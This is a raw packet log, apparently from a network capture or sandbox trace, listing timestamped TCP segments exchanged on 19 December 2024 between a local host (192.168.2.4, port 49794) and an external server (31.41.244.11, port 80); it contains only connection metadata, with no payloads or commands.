Dec 19, 2024 20:11:22.783782005 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.783802986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.783890963 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.784092903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.784109116 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.784147978 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.784177065 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.785226107 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.785275936 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.785480022 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.785594940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.786302090 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.786353111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.787074089 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.787125111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.787334919 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.787385941 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.787543058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.787631035 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.788471937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.788521051 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.788587093 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.788634062 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.789623976 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.789676905 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.790002108 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.790047884 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.790767908 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.790827036 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.790899992 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.790946007 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.791708946 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.791789055 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.791851997 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.791899920 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.792896986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.792939901 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.792954922 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.792999983 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.793950081 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.793967009 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.793998957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.794024944 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.795031071 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.795082092 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.795327902 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.795370102 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.796148062 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.796194077 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.797205925 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.797223091 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.797255039 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.797271967 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.797439098 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.797486067 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.798425913 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.798476934 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.799068928 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.799119949 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.799489975 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.799508095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.799539089 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.799560070 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.800441980 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.800496101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.800682068 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.800729036 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.801558971 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.801606894 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.801670074 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.801709890 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.802684069 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.802733898 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.802800894 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.802917957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.803777933 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.803834915 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.803913116 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.803961992 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.805008888 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.805044889 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.805074930 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.805088043 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.806142092 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.806196928 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.806344032 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.806391954 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.807497978 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.807533026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.807552099 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.807585001 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.808162928 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.808218002 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.808264971 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.808314085 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.809360027 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.809412956 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.809628963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.809686899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.810313940 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.810386896 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.810583115 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.810635090 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.811376095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.811450005 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.811660051 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.811714888 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.812570095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.812633038 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.812711000 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.812764883 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.813669920 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.813730001 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.814182043 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.814254999 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.814652920 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.814699888 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.814974070 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.815038919 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.815829039 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.815877914 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.815999985 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.816044092 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.816993952 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.817011118 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.817043066 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.817054033 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.817995071 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.818041086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.818042040 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.818084955 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.819067955 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.819118023 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.819284916 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.819336891 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.820157051 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.820204020 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.820384026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.820431948 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.821347952 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.821398973 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.821480989 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.821526051 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.822257042 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.822307110 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.822573900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.822622061 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.823348999 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.823364973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.823404074 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.823419094 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.824508905 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.824558020 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.825567961 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.825584888 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.825618029 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.825628042 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.825788975 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.825839043 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.826684952 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.826731920 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.827745914 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.827761889 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.827795982 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.827805996 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.828037024 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.828082085 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.829022884 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.829070091 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.829735994 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.829782009 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.829916000 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.829931974 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.829963923 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.829979897 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.830982924 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.831034899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.831080914 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.831125975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.832091093 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.832140923 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.832211971 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.832257032 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.833247900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.833297968 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.833308935 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.833354950 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.834280968 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.834331036 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.834525108 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.834569931 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.835390091 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.835438967 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.835505009 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.835550070 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.836599112 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.836695910 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.836714983 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.836745024 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.844031096 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.844055891 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.844084978 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.844101906 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.844520092 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.844566107 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.844825029 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.844872952 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.844938993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.844993114 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.845825911 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.845870018 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.845920086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.845964909 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.847095966 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.847142935 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.974292040 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.974374056 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.974422932 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.974548101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.974647045 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.974657059 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.974755049 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.975600004 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.975652933 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.975866079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.975930929 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.976516962 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.976577997 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.976756096 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.976927042 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.977663994 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.977708101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.977770090 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.977835894 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.978688002 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.978737116 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.979028940 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.979619026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.979628086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.979690075 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.980602026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.980671883 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.980715990 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.981579065 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.981659889 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.982186079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.982469082 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.982826948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.983249903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.983306885 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.983670950 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.983679056 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.983722925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.984647036 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.984698057 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.984937906 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.985045910 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.985690117 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.985748053 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.986149073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.986239910 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.986752033 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.986795902 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.986998081 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.987039089 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.987709045 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.987766027 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.987915993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.988001108 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.988688946 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.988826036 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.988894939 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.989833117 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.989876986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.989936113 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.990844965 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.991307974 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.991365910 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.991844893 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.991931915 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.992117882 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.992196083 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.992861032 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.992943048 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.993449926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.993534088 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.993773937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.993840933 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.994081974 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.994138956 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.994898081 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.994966030 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.994985104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.995009899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.995733023 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.995784998 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.996015072 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.996169090 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.996802092 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.996879101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.997389078 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.997447014 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.997767925 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.997833014 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.998017073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.998100996 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.999022007 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.999188900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.999248981 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.000138998 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.000343084 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.000395060 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.000823975 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.000884056 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.001100063 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.001149893 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.001904964 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.001964092 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.002006054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.002053976 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.003038883 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.003087997 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.003103971 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.003185987 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.003884077 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.003892899 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.003945112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.004956007 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.005009890 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.005356073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.005620956 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.006198883 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.006244898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.006253958 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.006279945 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.006925106 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.006980896 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.007047892 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.007896900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.007971048 CET	49794	80	192.168.2.4	31.41.244.11
